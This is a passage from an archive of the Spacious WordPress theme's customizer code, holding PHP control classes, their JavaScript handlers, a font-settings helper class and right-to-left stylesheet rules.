	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="divider-placement-{{ data.placement }}">
			<# if ( data.placement == 'above' ) { #>
			<hr />
			<# } #>

			<div class="customizer-text">
				<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
				<# } #>

				<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
				<# } #>
			</div>

			<# if ( data.placement == 'below' ) { #>
			<hr />
			<# } #>
		</div>

		<?php
	}

}
core/custom-controls/upgrade/class-spacious-upgrade-control.php000066600000002654152367043330021064 0ustar00<?php
/**
 * Customize Upgrade control class.
 *
 * @package spacious
 *
 * @since   1.4.6
 * @see     WP_Customize_Control
 * @access  public
 */

/**
 * Class Spacious_Customize_Heading_Control
 */
class Spacious_Upgrade_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Customize control type.
	 *
	 * @access public
	 * @var    string
	 */
	public $type = 'spacious-upgrade';

	/**
	 * Custom links for this control.
	 *
	 * @var array
	 */
	public $url = '';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['url'] = esc_url( $this->url );

	}

	/**
	 * Renders the Underscore template for this control.
	 *
	 * @see    WP_Customize_Control::print_template()
	 * @access protected
	 * @return void
	 */

	protected function content_template() {
		?>
		<p class="description upgrade-description">{{{ data.description }}}</p>

		<span>
            <a href="{{{data.url}}}" class="button button-primary" target="_blank">
                {{ data.label }}
            </a>
		</span>
		<?php
	}

	/**
	 * Render content is still called, so be sure to override it with an empty function in your subclass as well.
	 */
	protected function render_content() {

	}

}core/custom-controls/title/class-spacious-title-control.php000066600000004212152367043330020240 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the title control.
 *
 * Class Spacious_Title_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the title customize control.
 *
 * Class Spacious_Title_Control
 */
class Spacious_Title_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-title';
	public $link = '';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;
		$this->json['link']        = esc_url( $this->link );

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

        <div class="spacious-title-wrapper">
            <label class="customizer-text">
                <# if ( data.label ) { #>
                <span class="customize-control-title">{{{ data.label }}}</span>
                <# if ( data.description ) { #>
                <span class="tool-tip">
					<i class="dashicons dashicons-editor-help"></i>
					<span class="tooltip-text">{{{ data.description }}}</span>
				</span>
                <# } #>
                <# } #>
            </label>
            <# if ( data.link ) { #>
            <div class="guide-tutorial">
                <span class="control-url">
					<a href=  " {{{data.link}}} "   target="_blank">Doc</a>
				</span>
            </div>
            <# } #>
        </div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/sortable/sortable.js000066600000002553152367043330014652 0ustar00/**
 * Sortable control JS to handle the sortable feature of custom customize controls.
 *
 * File `sortable.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-sortable'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Set the sortable container.
		control.sortableContainer = control.container.find( 'ul.sortable' ).first();

		// Init sortable.
		control.sortableContainer.sortable(
			{
				// Update value when we stop sorting.
				stop : function () {
					control.updateValue();
				}
			}
		).disableSelection().find( 'li' ).each(
			function () {
				// Enable/disable options when we click on the eye of Thundera.
				jQuery( this ).find( 'i.visibility' ).click(
					function () {
						jQuery( this ).toggleClass( 'dashicons-visibility-faint' ).parents( 'li:eq(0)' ).toggleClass( 'invisible' );
					}
				);
			}
		).click(
			function () {
				// Update value on click.
				control.updateValue();
			}
		);

	},

	updateValue : function () {

		'use strict';

		var control  = this,
		    newValue = [];

		this.sortableContainer.find( 'li' ).each(
			function () {
				if ( ! jQuery( this ).is( '.invisible' ) ) {
					newValue.push( jQuery( this ).data( 'value' ) );
				}
			}
		);

		control.setting.set( newValue );

	}

} );
core/custom-controls/sortable/class-spacious-sortable-control.php000066600000006230152367043330021426 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the sortable control.
 *
 * Class Spacious_Sortable_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the sortable customize control.
 *
 * Class Spacious_Sortable_Control
 */
class Spacious_Sortable_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-sortable';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['choices'] = $this->choices;

		$this->json['inputAttrs'] = '';
		foreach ( $this->input_attrs as $attr => $value ) {
			$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
		}

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

        <div class="customizer-text">
            <# if ( data.label ) { #>
            <span class="customize-control-title">{{{ data.label }}}</span>
            <# } #>

            <# if ( data.description ) { #>
            <span class="description customize-control-description">{{{ data.description }}}</span>
            <# } #>
        </div>

        <ul class="sortable">
            <# _.each( data.value, function( choiceID ) { #>
            <# if ( data.choices[ choiceID ] ) { #>
            <li {{{ data.inputAttrs }}} class='spacious-sortable-item' data-value='{{ choiceID }}'>
                <i class='dashicons dashicons-menu'></i>
                <i class="dashicons dashicons-visibility visibility"></i>
                {{{ data.choices[ choiceID ] }}}
            </li>
            <# } #>
            <# } ); #>

            <# _.each( data.choices, function( choiceLabel, choiceID ) { #>
            <# if ( Array.isArray(data.value) && -1 === data.value.indexOf( choiceID ) ) { #>
            <li {{{ data.inputAttrs }}} class='spacious-sortable-item invisible' data-value='{{ choiceID }}'>
                <i class='dashicons dashicons-menu'></i>
                <i class="dashicons dashicons-visibility visibility"></i>
                {{{ choiceLabel }}}
            </li>
            <# } #>
            <# } ); #>
        </ul>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/radio-image/radio-image.js000066600000000675152367043330015563 0ustar00/**
 * Radio image control JS to handle the toggle of radio images.
 *
 * File `radio-image.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-radio-image' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this;

		// Change the value.
		this.container.on( 'click', 'input', function () {
			control.setting.set( jQuery( this ).val() );
		} );

	}

} );
core/custom-controls/radio-image/class-spacious-radio-image-control.php000066600000006400152367043330022333 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the radio image.
 *
 * Class Spacious_Radio_Image_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the radio image customize control.
 *
 * Class Spacious_Radio_Image_Control
 */
class Spacious_Radio_Image_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-radio-image';

	/**
	 * Column for image.
	 *
	 * @var int
	 */
	public $image_col = 1;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['image_col'] = $this->image_col;

		foreach ( $this->choices as $key => $value ) {
			$this->json['choices'][ $key ]        = $value['url'];
			$this->json['choices_titles'][ $key ] = $value['label'];
		}

		$this->json['inputAttrs'] = '';
		$this->json['labelStyle'] = '';
		foreach ( $this->input_attrs as $attr => $value ) {
			if ( 'style' !== $attr ) {
				$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
			} else {
				$this->json['labelStyle'] = 'style="' . esc_attr( $value ) . '" ';
			}
		}

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<div id="input_{{ data.id }}" class="image image-col-{{{ data.image_col }}}">
			<# for ( key in data.choices ) { #>
			<input {{{ data.inputAttrs }}}
				   class="image-select"
				   type="radio"
				   value="{{ key }}"
				   name="_customize-radio-{{ data.id }}"
				   id="{{ data.id }}{{ key }}"
				   {{{ data.link }}}
			<# if ( data.value === key ) { #> checked="checked"<# } #>
			>

			<label for="{{ data.id }}{{ key }}" {{{ data.labelStyle }}} class="spacious-radio-image">
				<img src="{{{ data.choices[ key ] }}}" alt="{{{ data.choices_titles[ key ] }}}">
				<# if ( '' !== data.choices_titles[ key ] ) { #>
					<span class="image-clickable tooltip-text">{{{ data.choices_titles[ key ] }}}</span>
				<# } #>
			</label>
			<# } #>
		</div>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/toggle/toggle.js000066600000001027152367043330013761 0ustar00/**
 * Switch toggle control JS to handle the toggle of custom customize controls.
 *
 * File `toggle.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor['spacious-toggle'] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this,
		    value   = control.setting._value;

		// Save the value.
		this.container.on( 'change', 'input', function () {
			value = jQuery( this ).is( ':checked' ) ? true : false;

			control.setting.set( value );
		} );

	}

} );
core/custom-controls/toggle/class-spacious-toggle-control.php000066600000005017152367043330020544 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the switch toggle control.
 *
 * Class Spacious_Toggle_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the switch toggle customize control.
 *
 * Class Spacious_Toggle_Control
 */
class Spacious_Toggle_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-toggle';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['inputAttrs'] = '';
		foreach ( $this->input_attrs as $attr => $value ) {
			$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
		}

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<label for="toggle_{{ data.id }}"
		       class="<# if ( data.description ) { #>toggle-description<# } #>"
		>
			<input {{{ data.inputAttrs }}}
			       class="switch-toggle"
			       type="checkbox"
			       value="{{ data.value }}"
			       name="_customize-toggle-{{ data.id }}"
			       id="toggle_{{ data.id }}"
			       {{{ data.link }}}
			<# if ( data.value === true ) { #> checked="checked"<# } #>
			>

			<span class="switch"></span>
		</label>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/custom/class-spacious-custom-control.php000066600000004722152367043330020630 0ustar00<?php
/**
 * Extend WP_Customize_Control to add custom control.
 *
 * Class Spacious_Custom_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add custom customize control.
 *
 * Class Spacious_Custom_Control
 */
class Spacious_Custom_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-custom';

	/**
	 * Custom information for this control.
	 *
	 * @var string
	 */
	public $info = '';

	/**
	 * Custom links for this control.
	 *
	 * @var array
	 */
	public $links = array();

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

		$this->json['info']  = $this->info;
		$this->json['links'] = $this->links;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<# if ( data.info ) { #>
		<div class="spacious-custom-info">
			{{{ data.info }}}
		</div>
		<# } #>

		<# if ( data.links ) { #>
		<ul class="spacious-custom-links">
			<# _.each( data.links, function( links, id ) { #>
			<li><a href="{{{ links.url }}}" target="_blank">{{{ links.text }}}</a></li>
			<# } ) #>
		</ul>
		<# } #>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/custom-controls/editor/editor.js000066600000001743152367043330014000 0ustar00/**
 * Editor control JS to handle the editor rendering within customize control.
 *
 * File `editor.js`.
 *
 * @package Spacious
 */
wp.customize.controlConstructor[ 'spacious-editor' ] = wp.customize.Control.extend( {

	ready : function () {

		'use strict';

		var control = this,
		    id      = 'editor_' + control.id;

		wp.editor.initialize( id, {
			tinymce      : {
				wpautop : true
			},
			quicktags    : true,
			mediaButtons : true
		} );

	},

	onChangeActive : function ( active, args ) {

		'use strict';

		var control = this,
		    id      = 'editor_' + control.id,
		    element = control.container.find( 'textarea' ),
		    editor;

		editor = tinyMCE.get( id );

		if ( editor ) {

			editor.onChange.add( function ( ed ) {
				var content;

				ed.save();
				content = editor.getContent();
				element.val( content ).trigger( 'change' );
				wp.customize.instance( control.id ).set( content );
			} );

		}

	}

} );
core/custom-controls/editor/class-spacious-editor-control.php000066600000003736152367043330020564 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the editor control.
 *
 * Class Spacious_Editor_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the editor customize control.
 *
 * Class Spacious_Editor_Control
 */
class Spacious_Editor_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-editor';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['default'] = $this->setting->default;
		if ( isset( $this->default ) ) {
			$this->json['default'] = $this->default;
		}
		$this->json['value'] = $this->value();

		$this->json['link']        = $this->get_link();
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;

	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>

		<div class="customizer-text">
			<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>

			<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</div>

		<textarea id="editor_{{{ data.id }}}" {{{ data.link }}}>{{ data.value }}</textarea>

		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}

}
core/class-spacious-fonts.php000066600000016255152367043330012310 0ustar00<?php
/**
 * Helper class for font settings for this theme.
 *
 * Class Spacious_Fonts
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Helper class for font settings for this theme.
 *
 * Class Spacious_Fonts
 */
class Spacious_Fonts {

	/**
	 * System Fonts
	 *
	 * @var array
	 */
	public static $system_fonts = array();

	/**
	 * Google Fonts
	 *
	 * @var array
	 */
	public static $google_fonts = array();

	/**
	 * Custom Fonts
	 *
	 * @var array
	 */
	public static $custom_fonts = array();

	/**
	 * Font variants
	 *
	 * @var array
	 */
	public static $font_variants = array();

	/**
	 * Google font subsets
	 *
	 * @var array
	 */
	public static $google_font_subsets = array();

	/**
	 * Get system fonts.
	 *
	 * @return mixed|void
	 */
	public static function get_system_fonts() {

		if ( empty( self::$system_fonts ) ) :

			self::$system_fonts = array(

				'default'                                                                                                                              => array(
					'family' => 'default',
					'label'  => 'Default',
				),
				'Georgia,Times,"Times New Roman",serif'                                                                                                 => array(
					'family' => 'Georgia,Times,"Times New Roman",serif',
					'label'  => 'serif',
				),
				'-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif' => array(
					'family' => '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", Helvetica, Arial, sans-serif',
					'label'  => 'sans-serif',
				),
				'Monaco,"Lucida Sans Typewriter","Lucida Typewriter","Courier New",Courier,monospace'                                                   => array(
					'family' => 'Monaco,"Lucida Sans Typewriter","Lucida Typewriter","Courier New",Courier,monospace',
					'label'  => 'monospace',
				),

			);

		endif;

		return apply_filters( 'spacious_system_fonts', self::$system_fonts );

	}

	/**
	 * Get Google fonts.
	 * It's array is generated from the google-fonts.json file.
	 *
	 * @return mixed|void
	 */
	public static function get_google_fonts() {

		if ( empty( self::$google_fonts ) ) :

			global $wp_filesystem;
			$google_fonts_file = apply_filters( 'spacious_google_fonts_json_file', dirname(__FILE__) . '/custom-controls/typography/google-fonts.json' );

			if ( ! file_exists( dirname(__FILE__) . '/custom-controls/typography/google-fonts.json' ) ) {
				return array();
			}

			// Require `file.php` file of WordPress to include filesystem check for getting the file contents.
			if ( ! $wp_filesystem ) {
				require_once ABSPATH . '/wp-admin/includes/file.php';
			}

			// Proceed only if the file is readable.
			if ( is_readable( $google_fonts_file ) ) {
				WP_Filesystem();

				$file_contents     = $wp_filesystem->get_contents( $google_fonts_file );
				$google_fonts_json = json_decode( $file_contents, 1 );

				foreach ( $google_fonts_json['items'] as $key => $font ) {

					$google_fonts[ $font['family'] ] = array(
						'family'   => $font['family'],
						'label'    => $font['family'],
						'variants' => $font['variants'],
						'subsets'  => $font['subsets'],
					);

					self::$google_fonts = $google_fonts;

				}
			}

		endif;

		return apply_filters( 'spacious_system_fonts', self::$google_fonts );

	}

	/**
	 * Get custom fonts.
	 *
	 * @return mixed|void
	 */
	public static function get_custom_fonts() {

		return apply_filters( 'spacious_custom_fonts', self::$custom_fonts );

	}

	/**
	 * Get font variants.
	 *
	 * @return mixed|void
	 */
	public static function get_font_variants() {

		if ( empty( self::$font_variants ) ) :

			self::$font_variants = array(
				'100'       => esc_html__( 'Thin 100', 'spacious' ),
				'100italic' => esc_html__( 'Thin 100 Italic', 'spacious' ),
				'200'       => esc_html__( 'Extra-Light 200', 'spacious' ),
				'200italic' => esc_html__( 'Extra-Light 200 Italic', 'spacious' ),
				'300'       => esc_html__( 'Light 300', 'spacious' ),
				'300italic' => esc_html__( 'Light 300 Italic', 'spacious' ),
				'regular'   => esc_html__( 'Regular 400', 'spacious' ),
				'italic'    => esc_html__( 'Regular 400 Italic', 'spacious' ),
				'500'       => esc_html__( 'Medium 500', 'spacious' ),
				'500italic' => esc_html__( 'Medium 500 Italic', 'spacious' ),
				'600'       => esc_html__( 'Semi-Bold 600', 'spacious' ),
				'600italic' => esc_html__( 'Semi-Bold 600 Italic', 'spacious' ),
				'700'       => esc_html__( 'Bold 700', 'spacious' ),
				'700italic' => esc_html__( 'Bold 700 Italic', 'spacious' ),
				'800'       => esc_html__( 'Extra-Bold 800', 'spacious' ),
				'800italic' => esc_html__( 'Extra-Bold 800 Italic', 'spacious' ),
				'900'       => esc_html__( 'Black 900', 'spacious' ),
				'900italic' => esc_html__( 'Black 900 Italic', 'spacious' ),
			);

		endif;

		return apply_filters( 'spacious_font_variants', self::$font_variants );

	}

	/**
	 * Get Google font subsets.
	 *
	 * @return mixed|void
	 */
	public static function get_google_font_subsets() {

		if ( empty( self::$google_font_subsets ) ) :

			self::$google_font_subsets = array(
				'arabic'              => esc_html__( 'Arabic', 'spacious' ),
				'bengali'             => esc_html__( 'Bengali', 'spacious' ),
				'chinese-hongkong'    => esc_html__( 'Chinese (Hong Kong)', 'spacious' ),
				'chinese-simplified'  => esc_html__( 'Chinese (Simplified)', 'spacious' ),
				'chinese-traditional' => esc_html__( 'Chinese (Traditional)', 'spacious' ),
				'cyrillic'            => esc_html__( 'Cyrillic', 'spacious' ),
				'cyrillic-ext'        => esc_html__( 'Cyrillic Extended', 'spacious' ),
				'devanagari'          => esc_html__( 'Devanagari', 'spacious' ),
				'greek'               => esc_html__( 'Greek', 'spacious' ),
				'greek-ext'           => esc_html__( 'Greek Extended', 'spacious' ),
				'gujarati'            => esc_html__( 'Gujarati', 'spacious' ),
				'gurmukhi'            => esc_html__( 'Gurmukhi', 'spacious' ),
				'hebrew'              => esc_html__( 'Hebrew', 'spacious' ),
				'japanese'            => esc_html__( 'Japanese', 'spacious' ),
				'kannada'             => esc_html__( 'Kannada', 'spacious' ),
				'khmer'               => esc_html__( 'Khmer', 'spacious' ),
				'korean'              => esc_html__( 'Korean', 'spacious' ),
				'latin'               => esc_html__( 'Latin', 'spacious' ),
				'latin-ext'           => esc_html__( 'Latin Extended', 'spacious' ),
				'malayalam'           => esc_html__( 'Malayalam', 'spacious' ),
				'myanmar'             => esc_html__( 'Myanmar', 'spacious' ),
				'oriya'               => esc_html__( 'Oriya', 'spacious' ),
				'sinhala'             => esc_html__( 'Sinhala', 'spacious' ),
				'tamil'               => esc_html__( 'Tamil', 'spacious' ),
				'telugu'              => esc_html__( 'Telugu', 'spacious' ),
				'thai'                => esc_html__( 'Thai', 'spacious' ),
				'tibetan'             => esc_html__( 'Tibetan', 'spacious' ),
				'vietnamese'          => esc_html__( 'Vietnamese', 'spacious' ),
			);

		endif;

		return apply_filters( 'spacious_font_variants', self::$google_font_subsets );

	}

}
core/assets/css/extend-customizer.min-rtl.css000066600000011561152367043330015370 0ustar00a{color:#0073aa}a:focus{-webkit-box-shadow:0 0 0 1px rgba(0,115,170,0.8);box-shadow:0 0 0 1px rgba(0,115,170,0.8)}.button{background:#ebebeb;border-color:#0073aa;color:#0073aa;font-weight:600;-webkit-transition:all .15s cubic-bezier(0.4,0,0.2,1);transition:all .15s cubic-bezier(0.4,0,0.2,1)}.button:hover{background:#fff;color:#0073aa}.select2-container--default .select2-selection--single .select2-selection__arrow b{margin-top:0}.tg-section-separator{display:block !important;margin-top:4px}.customize-section-description .spacious-section-description ul{margin:0}.customize-section-description .spacious-section-description ul>li{list-style:none}.customize-section-description .spacious-section-description ul>li:last-child{margin-bottom:0}.customize-section-description .spacious-section-description a{font-style:italic}.customize-control{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;margin-bottom:0;padding:10px;position:relative}.customize-control .customize-control-title{color:#444;font-size:14px;font-weight:600;margin-bottom:0}.customize-control .spacious-control-tooltip{position:absolute;left:10px;top:9px}.customize-control .spacious-control-tooltip:hover{cursor:pointer}.customize-control .attachment-media-view .button-add-media{background:#ebebeb}.customize-control .attachment-media-view .button-add-media:hover{background:#fff}.customize-control select,.customize-control input[type]:not([type=range]):not([type=button]):not([type=submit]):not([type=checkbox]):not([type=radio]),.customize-control .select2-selection--single{border-color:#eee;border-radius:2px;height:33px}.customize-control .customize-inside-control-row{padding-bottom:0;padding-top:0}.customize-control.customize-control-radio .customize-inside-control-row,.customize-control.customize-control-checkbox .customize-inside-control-row{padding-bottom:6px;padding-top:6px}.customize-control.has-responsive-switchers .responsive-switchers{position:absolute;left:0;top:-3px}.customize-control.has-responsive-switchers .responsive-switchers li{float:right;line-height:0;margin:0;padding-left:2px}.customize-control.has-responsive-switchers .responsive-switchers li button{background:transparent;border:0;color:rgba(68,68,68,0.5);cursor:pointer;outline:0;padding:2px}.customize-control.has-responsive-switchers .responsive-switchers li button i{font-size:14px;line-height:20px}.customize-control.has-responsive-switchers .responsive-switchers li button.active{color:#0073aa}.customize-control.has-responsive-switchers .control-wrap:not(.active){display:none;width:100%}.in-sub-panel #customize-theme-controls .customize-pane-child.current-panel-parent{-webkit-transform:translateX(100%);transform:translateX(100%)}#customize-theme-controls .customize-pane-child.current-section-parent{-webkit-transform:translateX(100%);transform:translateX(100%)}#customize-theme-controls .control-section.open{height:100%}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section{margin-right:-12px;margin-left:-12px}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title{background-color:#fff;border-bottom:1px solid #ebebeb;border-right:4px solid #fff;color:#444;-webkit-transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out;transition:.15s color ease-in-out,.15s background-color ease-in-out,.15s border-color ease-in-out}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:after{color:#a0a5aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover,#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:focus{background:#f3f3f5;border-right-color:#0073aa;color:#0073aa}#customize-theme-controls .control-section.control-section-spacious_section .accordion-section-title:hover:after{color:#0073aa}#customize-theme-controls .accordion-section-title{border-color:#ebebeb;color:#444;font-weight:600}#customize-theme-controls .accordion-section-title:hover,#customize-theme-controls .accordion-section-title:focus{border-right-color:#0073aa;color:#0073aa}.spacious-hide{display:none !important}.customize-control-checkbox,.customize-control-radio{padding-bottom:5px;padding-top:5px}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title{background-color:#289dcc !important;border-right-color:#0073aa;color:#fff !important;padding:0}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a{color:#fff;display:block;padding:12px 15px 15px;text-decoration:none}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title a:hover{background-color:#1f91bf !important}#accordion-section-spacious_customize_upsell_section h3.accordion-section-title:after{color:#fff !important}#accordion-section-spacious_customize_upsell_section h3 a::after{color:#fff}core/assets/css/extend-customizer-rtl.css000066600000012641152367043330014606 0ustar00a {
	color: #0073aa;
}

a:focus {
	-webkit-box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8);
	box-shadow: 0 0 0 1px rgba(0, 115, 170, 0.8);
}

.button {
	background: #ebebeb;
	border-color: #0073aa;
	color: #0073aa;
	font-weight: 600;
	-webkit-transition: all 0.15s cubic-bezier(0.4, 0, 0.2, 1);
